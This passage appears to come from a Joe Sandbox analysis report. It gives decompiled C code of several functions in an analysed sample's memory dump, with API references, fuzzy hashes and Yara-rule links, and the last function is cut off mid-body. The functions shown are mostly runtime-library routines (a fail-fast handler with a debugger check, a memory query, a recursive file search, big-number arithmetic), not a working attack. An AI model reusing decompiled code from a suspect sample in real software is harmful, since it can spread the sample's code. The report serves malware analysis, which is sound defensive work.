Instruction Fuzzy Hash: B4C24A71E086288FDB65EE28DD407EAB7B5FB44315F1441EAD84EE7241E778AE818F40

Uniqueness

Uniqueness Score: -1.00%

Function 00874561 Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00874561(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				E00874776(_t34);
				 *_t60 = 0x2cc;
				_v632 = E00874BD0(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				E00874BD0(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return E00874776(_t49);
				}
				return _t49;
			}

0x00874561
0x00874561
0x00874561
0x00874575
0x00874577
0x0087457a
0x0087457a
0x0087457e
0x00874583
0x0087459b
0x008745a1
0x008745a7
0x008745ad
0x008745b3
0x008745b9
0x008745bf
0x008745c6
0x008745cd
0x008745d4
0x008745db
0x008745e2
0x008745e9
0x008745ea
0x008745f3
0x008745f9
0x008745fc
0x00874602
0x00874611
0x0087461d
0x00874628
0x0087462f
0x00874636
0x00874641
0x00874649
0x00874652
0x00874654
0x00874657
0x00874659
0x00874663
0x0087466b
0x00874671
0x00000000
0x00874678
0x0087467b

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0087456D
IsDebuggerPresent.KERNEL32 ref: 00874639
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00874659
UnhandledExceptionFilter.KERNEL32(?), ref: 00874663

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: a0eb283d35c900575cf9bd71820a0088894362a51c4583cab8993fe2175a7150
Instruction ID: c6a630d30039ced23bbd9d09dfb4be94fe7e7bb73df956ca8e70bb1c4929e00a
Opcode Fuzzy Hash: a0eb283d35c900575cf9bd71820a0088894362a51c4583cab8993fe2175a7150
Instruction Fuzzy Hash: 6C313A75D0521CDBDB21DFA4D9897CCBBB8FF08304F5080AAE40CA7254EB719A858F45

Uniqueness

Uniqueness Score: -1.00%

Function 008735FE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 83%

			E008735FE(signed int _a4, signed int _a8) {
				struct _MEMORY_BASIC_INFORMATION _v32;
				struct _SYSTEM_INFO _v68;
				long _t20;
				signed int _t28;
				void* _t30;
				signed int _t32;
				signed int _t40;
				signed int _t45;

				_t20 = VirtualQuery(_a4,  &_v32, 0x1c);
				if(_t20 == 0) {
					_push(0x19);
					asm("int 0x29");
				}
				if((_v32.Protect & 0x00000044) != 0) {
					GetSystemInfo( &_v68);
					_t40 = _v68.dwPageSize;
					_t32 = _t40 - 1;
					_t45 =  !_t32 & _a4;
					_t28 = _a8 / _t40;
					_t30 = ((_t32 & _a4) + _t40 + (_t32 & _a8) - 1) / _t40 + _t28;
					if(_t30 == 0) {
						L5:
						return _t28;
					} else {
						goto L4;
					}
					do {
						L4:
						_t28 = 0;
						asm("lock or [esi], eax");
						_t45 = _t45 + _t40;
						_t30 = _t30 - 1;
					} while (_t30 != 0);
					goto L5;
				}
				return _t20;
			}

0x0087360f
0x00873617
0x00873619
0x0087361c
0x0087361c
0x00873622
0x0087362a
0x00873630
0x00873633
0x00873645
0x00873655
0x00873657
0x00873659
0x00873667
0x00000000
0x00000000
0x00000000
0x00000000
0x0087365b
0x0087365b
0x0087365b
0x0087365d
0x00873660
0x00873662
0x00873662
0x00000000
0x0087365b
0x0087366a

APIs

VirtualQuery.KERNEL32(80000000,00873543,0000001C,00873738,00000000,?,?,?,?,?,?,?,00873543,00000004,008C832C,008737C8), ref: 0087360F
GetSystemInfo.KERNEL32(?,?,00000000,?,?,?,?,00873543,00000004,008C832C,008737C8), ref: 0087362A

Strings

D, xrefs: 0087361E

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: InfoQuerySystemVirtual
String ID: D
API String ID: 401686933-2746444292
Opcode ID: 34e6fa1dac2f5112069a1a7206be0e272f12ac71312d1d9f923c8e305a145e48
Instruction ID: f462eb347b6ca08fddbb5e45a883245fd04869e8a4cfccd353aa28511b12a2b7
Opcode Fuzzy Hash: 34e6fa1dac2f5112069a1a7206be0e272f12ac71312d1d9f923c8e305a145e48
Instruction Fuzzy Hash: 1701F736600109ABCB14DE29CC09BDE7BAAFFD4364F0CC121AD5DD7254EA34DA029680

Uniqueness

Uniqueness Score: -1.00%

Function 0087D792 Relevance: 4.6, APIs: 3, Instructions: 78
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E0087D792(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x893688; // 0xe2d35318
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00874776(_t41);
					_pop(_t61);
				}
				E00874BD0(_t66,  &_v804, 0, 0x50);
				E00874BD0(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E00874776(_t57);
				}
				return E0087494C(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x0087d792
0x0087d792
0x0087d792
0x0087d79d
0x0087d7a2
0x0087d7a4
0x0087d7ac
0x0087d7ae
0x0087d7b1
0x0087d7b6
0x0087d7b6
0x0087d7c2
0x0087d7d5
0x0087d7e3
0x0087d7e9
0x0087d7ef
0x0087d7f5
0x0087d7fb
0x0087d801
0x0087d807
0x0087d80d
0x0087d813
0x0087d819
0x0087d820
0x0087d827
0x0087d82e
0x0087d835
0x0087d83c
0x0087d843
0x0087d844
0x0087d84d
0x0087d853
0x0087d856
0x0087d85c
0x0087d869
0x0087d872
0x0087d87b
0x0087d884
0x0087d892
0x0087d894
0x0087d8a9
0x0087d8b5
0x0087d8b8
0x0087d8bd
0x0087d8cc

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 0087D88A
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 0087D894
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 0087D8A1

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 32c7a1c238f116bef0c08779704e41ef6f09432f939dc7f3626e25defe87852f
Instruction ID: 7651ff95a3887db92d9078e70b5bd2fba1ec1def8859978c310f9480f8836e63
Opcode Fuzzy Hash: 32c7a1c238f116bef0c08779704e41ef6f09432f939dc7f3626e25defe87852f
Instruction Fuzzy Hash: B131947590121C9BCB21DF68D989799BBB8FF08310F5085EAE81CA6264EB709F858F45

Uniqueness

Uniqueness Score: -1.00%

Function 0087FCC8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0087FCC8(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				signed int _v12;
				intOrPtr* _v32;
				CHAR* _v36;
				signed int _v48;
				char _v286;
				signed int _v287;
				struct _WIN32_FIND_DATAA _v332;
				intOrPtr* _v336;
				signed int _v340;
				signed int _v344;
				intOrPtr _v372;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t40;
				signed int _t43;
				intOrPtr _t45;
				signed char _t47;
				intOrPtr* _t55;
				union _FINDEX_INFO_LEVELS _t57;
				union _FINDEX_INFO_LEVELS _t58;
				signed int _t62;
				signed int _t65;
				void* _t71;
				void* _t73;
				signed int _t74;
				void* _t77;
				CHAR* _t78;
				void* _t79;
				intOrPtr* _t82;
				intOrPtr _t84;
				void* _t86;
				intOrPtr* _t87;
				signed int _t91;
				signed int _t95;
				void* _t100;
				signed int _t103;
				union _FINDEX_INFO_LEVELS _t104;
				void* _t105;
				void* _t108;
				void* _t109;
				intOrPtr _t110;
				void* _t111;
				void* _t112;
				signed int _t116;
				void* _t117;
				signed int _t118;
				void* _t119;
				void* _t120;

				_push(__ecx);
				_t82 = _a4;
				_t2 = _t82 + 1; // 0x1
				_t100 = _t2;
				do {
					_t35 =  *_t82;
					_t82 = _t82 + 1;
				} while (_t35 != 0);
				_t103 = _a12;
				_t84 = _t82 - _t100 + 1;
				_v8 = _t84;
				if(_t84 <= (_t35 | 0xffffffff) - _t103) {
					_t5 = _t103 + 1; // 0x1
					_t77 = _t5 + _t84;
					_t109 = E0087FAB6(_t84, _t77, 1);
					_t86 = _t108;
					__eflags = _t103;
					if(_t103 == 0) {
						L6:
						_push(_v8);
						_t77 = _t77 - _t103;
						_t40 = E00883A81(_t86, _t109 + _t103, _t77, _a4);
						_t118 = _t117 + 0x10;
						__eflags = _t40;
						if(__eflags != 0) {
							goto L9;
						} else {
							_t71 = E0087FF07(_a16, _t100, __eflags, _t109);
							E0087D758(0);
							_t73 = _t71;
							goto L8;
						}
					} else {
						_push(_t103);
						_t74 = E00883A81(_t86, _t109, _t77, _a8);
						_t118 = _t117 + 0x10;
						__eflags = _t74;
						if(_t74 != 0) {
							L9:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E0087D96C();
							asm("int3");
							_t116 = _t118;
							_t119 = _t118 - 0x150;
							_t43 =  *0x893688; // 0xe2d35318
							_v48 = _t43 ^ _t116;
							_t87 = _v32;
							_push(_t77);
							_t78 = _v36;
							_push(_t109);
							_t110 = _v332.cAlternateFileName;
							_push(_t103);
							_v372 = _t110;
							while(1) {
								__eflags = _t87 - _t78;
								if(_t87 == _t78) {
									break;
								}
								_t45 =  *_t87;
								__eflags = _t45 - 0x2f;
								if(_t45 != 0x2f) {
									__eflags = _t45 - 0x5c;
									if(_t45 != 0x5c) {
										__eflags = _t45 - 0x3a;
										if(_t45 != 0x3a) {
											_t87 = E00883AD0(_t78, _t87);
											continue;
										}
									}
								}
								break;
							}
							_t101 =  *_t87;
							__eflags = _t101 - 0x3a;
							if(_t101 != 0x3a) {
								L19:
								_t104 = 0;
								__eflags = _t101 - 0x2f;
								if(_t101 == 0x2f) {
									L23:
									_t47 = 1;
									__eflags = 1;
								} else {
									__eflags = _t101 - 0x5c;
									if(_t101 == 0x5c) {
										goto L23;
									} else {
										__eflags = _t101 - 0x3a;
										if(_t101 == 0x3a) {
											goto L23;
										} else {
											_t47 = 0;
										}
									}
								}
								_t89 = _t87 - _t78 + 1;
								asm("sbb eax, eax");
								_v340 =  ~(_t47 & 0x000000ff) & _t87 - _t78 + 0x00000001;
								E00874BD0(_t104,  &_v332, _t104, 0x140);
								_t120 = _t119 + 0xc;
								_t111 = FindFirstFileExA(_t78, _t104,  &_v332, _t104, _t104, _t104);
								_t55 = _v336;
								__eflags = _t111 - 0xffffffff;
								if(_t111 != 0xffffffff) {
									_t91 =  *((intOrPtr*)(_t55 + 4)) -  *_t55;
									__eflags = _t91;
									_t92 = _t91 >> 2;
									_v344 = _t91 >> 2;
									do {
										__eflags = _v332.cFileName - 0x2e;
										if(_v332.cFileName != 0x2e) {
											L36:
											_push(_t55);
											_t57 = E0087FCC8(_t92,  &(_v332.cFileName), _t78, _v340);
											_t120 = _t120 + 0x10;
											__eflags = _t57;
											if(_t57 != 0) {
												goto L26;
											} else {
												goto L37;
											}
										} else {
											_t92 = _v287;
											__eflags = _t92;
											if(_t92 == 0) {
												goto L37;
											} else {
												__eflags = _t92 - 0x2e;
												if(_t92 != 0x2e) {
													goto L36;
												} else {
													__eflags = _v286;
													if(_v286 == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L40;
										L37:
										_t62 = FindNextFileA(_t111,  &_v332);
										__eflags = _t62;
										_t55 = _v336;
									} while (_t62 != 0);
									_t101 =  *_t55;
									_t95 = _v344;
									_t65 =  *((intOrPtr*)(_t55 + 4)) -  *_t55 >> 2;
									__eflags = _t95 - _t65;
									if(_t95 != _t65) {
										E0087AC00(_t78, _t101 + _t95 * 4, _t65 - _t95, 4, E0087FB20);
									}
								} else {
									_push(_t55);
									_t57 = E0087FCC8(_t89, _t78, _t104, _t104);
									L26:
									_t104 = _t57;
								}
								__eflags = _t111 - 0xffffffff;
								if(_t111 != 0xffffffff) {
									FindClose(_t111);
								}
								_t58 = _t104;
							} else {
								__eflags = _t87 -  &(_t78[1]);
								if(_t87 ==  &(_t78[1])) {
									goto L19;
								} else {
									_push(_t110);
									_t58 = E0087FCC8(_t87, _t78, 0, 0);
								}
							}
							_pop(_t105);
							_pop(_t112);
							__eflags = _v12 ^ _t116;
							_pop(_t79);
							return E0087494C(_t58, _t79, _v12 ^ _t116, _t101, _t105, _t112);
						} else {
							goto L6;
						}
					}
				} else {
					_t73 = 0xc;
					L8:
					return _t73;
				}
				L40:
			}

0x0087fccd
0x0087fcce
0x0087fcd1
0x0087fcd1
0x0087fcd4
0x0087fcd4
0x0087fcd6
0x0087fcd7
0x0087fce1
0x0087fce4
0x0087fce7
0x0087fcec
0x0087fcf5
0x0087fcf8
0x0087fd02
0x0087fd05
0x0087fd06
0x0087fd08
0x0087fd1c
0x0087fd1c
0x0087fd1f
0x0087fd29
0x0087fd2e
0x0087fd31
0x0087fd33
0x00000000
0x0087fd35
0x0087fd39
0x0087fd42
0x0087fd48
0x00000000
0x0087fd4b
0x0087fd0a
0x0087fd0a
0x0087fd10
0x0087fd15
0x0087fd18
0x0087fd1a
0x0087fd51
0x0087fd53
0x0087fd54
0x0087fd55
0x0087fd56
0x0087fd57
0x0087fd58
0x0087fd5d
0x0087fd61
0x0087fd63
0x0087fd69
0x0087fd70
0x0087fd73
0x0087fd76
0x0087fd77
0x0087fd7a
0x0087fd7b
0x0087fd7e
0x0087fd7f
0x0087fda0
0x0087fda0
0x0087fda2
0x00000000
0x00000000
0x0087fd87
0x0087fd89
0x0087fd8b
0x0087fd8d
0x0087fd8f
0x0087fd91
0x0087fd93
0x0087fd9e
0x00000000
0x0087fd9e
0x0087fd93
0x0087fd8f
0x00000000
0x0087fd8b
0x0087fda4
0x0087fda6
0x0087fda9
0x0087fdc2
0x0087fdc2
0x0087fdc4
0x0087fdc7
0x0087fdd7
0x0087fdd9
0x0087fdd9
0x0087fdc9
0x0087fdc9
0x0087fdcc
0x00000000
0x0087fdce
0x0087fdce
0x0087fdd1
0x00000000
0x0087fdd3
0x0087fdd3
0x0087fdd3
0x0087fdd1
0x0087fdcc
0x0087fddf
0x0087fde7
0x0087fdeb
0x0087fdf9
0x0087fdfe
0x0087fe13
0x0087fe15
0x0087fe1b
0x0087fe1e
0x0087fe50
0x0087fe50
0x0087fe52
0x0087fe55
0x0087fe5b
0x0087fe5b
0x0087fe62
0x0087fe7c
0x0087fe7c
0x0087fe8b
0x0087fe90
0x0087fe93
0x0087fe95
0x00000000
0x00000000
0x00000000
0x00000000
0x0087fe64
0x0087fe64
0x0087fe6a
0x0087fe6c
0x00000000
0x0087fe6e
0x0087fe6e
0x0087fe71
0x00000000
0x0087fe73
0x0087fe73
0x0087fe7a
0x00000000
0x00000000
0x00000000
0x00000000
0x0087fe7a
0x0087fe71
0x0087fe6c
0x00000000
0x0087fe97
0x0087fe9f
0x0087fea5
0x0087fea7
0x0087fea7
0x0087feaf
0x0087feb4
0x0087febc
0x0087febf
0x0087fec1
0x0087fed5
0x0087feda
0x0087fe20
0x0087fe20
0x0087fe24
0x0087fe2c
0x0087fe2c
0x0087fe2c
0x0087fe2e
0x0087fe31
0x0087fe34
0x0087fe34
0x0087fe3a
0x0087fdab
0x0087fdae
0x0087fdb0
0x00000000
0x0087fdb2
0x0087fdb2
0x0087fdb8
0x0087fdbd
0x0087fdb0
0x0087fe3f
0x0087fe40
0x0087fe41
0x0087fe43
0x0087fe4c
0x00000000
0x00000000
0x00000000
0x0087fd1a
0x0087fcee
0x0087fcf0
0x0087fd4c
0x0087fd50
0x0087fd50
0x00000000

Strings

., xrefs: 0087FE5B

Memory Dump Source

Source File: 0000000E.00000002.472630012.0000000000861000.00000020.00000001.01000000.00000009.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000E.00000002.472502125.0000000000860000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473282330.0000000000893000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473355190.0000000000899000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473536377.00000000008A5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473813211.00000000008C5000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473853866.00000000008C8000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.473894427.00000000008C9000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_860000_0RWCjOTmPGy8vyz30vD2T7Gp.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: 1477e125bed78ebeed6861999dc1f0ae4ff5e106f8b64e1037e9458e793c0ffd
Instruction ID: 96e7b1be19f60535cc3ba513839893bd46fde5069760b824234d761cd4451164
Opcode Fuzzy Hash: 1477e125bed78ebeed6861999dc1f0ae4ff5e106f8b64e1037e9458e793c0ffd
Instruction Fuzzy Hash: 7D31F272900219AFCB249E79CC84EEB7BBDFB85314F1481A9FA1CD7256E630DE448B50

Uniqueness

Uniqueness Score: -1.00%

Function 00881DC0 Relevance: 3.5, APIs: 2, Instructions: 464
COMMONLIBRARYCODECrypto

Download Yara Rule

C-Code - Quality: 90%

			E00881DC0(signed int* _a4, signed int* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int* _v80;
				char _v540;
				signed int _v544;
				signed int _t197;
				signed int _t198;
				signed int* _t200;
				signed int _t201;
				signed int _t204;
				signed int _t206;
				signed int _t208;
				signed int _t209;
				signed int _t213;
				signed int _t219;
				intOrPtr _t225;
				void* _t228;
				signed int _t230;
				signed int _t247;
				signed int _t250;
				void* _t253;
				signed int _t256;
				signed int* _t262;
				signed int _t263;
				signed int _t264;
				void* _t265;
				intOrPtr* _t266;
				signed int _t267;
				signed int _t269;
				signed int _t270;
				signed int _t271;
				signed int _t272;
				signed int* _t274;
				signed int* _t278;
				signed int _t279;
				signed int _t280;
				intOrPtr _t282;
				void* _t286;
				signed char _t292;
				signed int _t295;
				signed int _t303;
				signed int _t306;
				signed int _t307;
				signed int _t309;
				signed int _t311;
				signed int _t313;
				intOrPtr* _t314;
				signed int _t318;
				signed int _t322;
				signed int* _t328;
				signed int _t330;
				signed int _t331;
				signed int _t333;
				void* _t334;
				signed int _t336;
				signed int _t338;
				signed int _t341;
				signed int _t342;
				signed int* _t344;
				signed int _t349;
				signed int _t351;
				void* _t355;
				signed int _t359;
				signed int _t360;
				signed int _t362;
				signed int* _t368;
				signed int* _t369;
				signed int* _t370;
				signed int* _t373;

				_t262 = _a4;
				_t197 =  *_t262;
				if(_t197 != 0) {
					_t328 = _a8;
					_t267 =  *_t328;
					__eflags = _t267;
					if(_t267 != 0) {
						_t3 = _t197 - 1; // -1
						_t349 = _t3;
						_t4 = _t267 - 1; // -1
						_t198 = _t4;
						_v16 = _t349;
						__eflags = _t198;
						if(_t198 != 0) {
							__eflags = _t198 - _t349;
							if(_t198 > _t349) {
								L23:
								__eflags = 0;
								return 0;
							} else {
								_t46 = _t198 + 1; // 0x0
								_t306 = _t349 - _t198;
								_v60 = _t46;
								_t269 = _t349;
								__eflags = _t349 - _t306;
								if(_t349 < _t306) {
									L21:
									_t306 = _t306 + 1;
									__eflags = _t306;
								} else {
									_t368 =  &(_t262[_t349 + 1]);
									_t341 =  &(( &(_t328[_t269 - _t306]))[1]);
									__eflags = _t341;
									while(1) {
										__eflags =  *_t341 -  *_t368;
										if( *_t341 !=  *_t368) {
											break;
										}
										_t269 = _t269 - 1;
										_t341 = _t341 - 4;
										_t368 = _t368 - 4;
										__eflags = _t269 - _t306;
										if(_t269 >= _t306) {
											continue;
										} else {
											goto L21;
										}
										goto L22;
									}
									_t369 = _a8;
									_t54 = (_t269 - _t306) * 4; // 0xfc23b5a
									__eflags =  *((intOrPtr*)(_t369 + _t54 + 4)) -  *((intOrPtr*)(_t262 + 4 + _t269 * 4));
									if( *((intOrPtr*)(_t369 + _t54 + 4)) <  *((intOrPtr*)(_t262 + 4 + _t269 * 4))) {
										goto L21;
									}
								}
								L22:
								__eflags = _t306;
								if(__eflags != 0) {
									_t330 = _v60;
									_t200 = _a8;
									_t351 =  *(_t200 + _t330 * 4);
									_t64 = _t330 * 4; // 0xffffe9e5
									_t201 =  *((intOrPtr*)(_t200 + _t64 - 4));
									_v36 = _t201;
									asm("bsr eax, esi");
									_v56 = _t351;
									if(__eflags == 0) {
										_t270 = 0x20;
									} else {
										_t270 = 0x1f - _t201;
									}
									_v40 = _t270;
									_v64 = 0x20 - _t270;
									__eflags = _t270;
									if(_t270 != 0) {
										_t292 = _v40;
										_v36 = _v36 << _t292;
										_v56 = _t351 << _t292 | _v36 >> _v64;
										__eflags = _t330 - 2;
										if(_t330 > 2) {
											_t79 = _t330 * 4; // 0xe850ffff
											_t81 =  &_v36;
											 *_t81 = _v36 |  *(_a8 + _t79 - 8) >> _v64;
											__eflags =  *_t81;
										}
									}
									_v76 = 0;
									_t307 = _t306 + 0xffffffff;
									__eflags = _t307;
									_v32 = _t307;
									if(_t307 < 0) {
										_t331 = 0;
										__eflags = 0;
									} else {
										_t85 =  &(_t262[1]); // 0x4
										_v20 =  &(_t85[_t307]);
										_t206 = _t307 + _t330;
										_t90 = _t262 - 4; // -4
										_v12 = _t206;
										_t278 = _t90 + _t206 * 4;
										_v80 = _t278;
										do {
											__eflags = _t206 - _v16;
											if(_t206 > _v16) {
												_t207 = 0;
												__eflags = 0;
											} else {
												_t207 = _t278[2];
											}
											__eflags = _v40;
											_t311 = _t278[1];
											_t279 =  *_t278;
											_v52 = _t207;
											_v44 = 0;
											_v8 = _t207;
											_v24 = _t279;
											if(_v40 > 0) {
												_t318 = _v8;
												_t336 = _t279 >> _v64;
												_t230 = E00886D50(_t311, _v40, _t318);
												_t279 = _v40;
												_t207 = _t318;
												_t311 = _t336 | _t230;
												_t359 = _v24 << _t279;
												__eflags = _v12 - 3;
												_v8 = _t318;
												_v24 = _t359;
												if(_v12 >= 3) {
													_t279 = _v64;
													_t360 = _t359 |  *(_t262 + (_v60 + _v32) * 4 - 8) >> _t279;
													__eflags = _t360;
													_t207 = _v8;
													_v24 = _t360;
												}
											}
											_t208 = E00886B50(_t311, _t207, _v56, 0);
											_v44 = _t262;
											_t263 = _t208;
											_v44 = 0;
											_t209 = _t311;
											_v8 = _t263;
											_v28 = _t209;
											_t333 = _t279;
											_v72 = _t263;
											_v68 = _t209;
											__eflags = _t209;
											if(_t209 != 0) {
												L40:
												_t264 = _t263 + 1;
												asm("adc eax, 0xffffffff");
												_t333 = _t333 + E00873E60(_t264, _t209, _v56, 0);
												asm("adc esi, edx");
												_t263 = _t264 | 0xffffffff;
